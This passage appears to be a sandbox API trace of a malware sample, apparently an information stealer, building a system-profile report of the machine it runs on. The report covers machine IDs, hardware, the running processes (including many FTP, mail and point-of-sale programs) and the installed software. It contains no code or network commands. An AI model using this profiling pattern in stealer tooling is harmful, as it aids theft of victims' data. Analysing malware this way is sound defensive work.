growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001"
[0054.973] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001", lpString2="]" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]"
[0054.973] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe 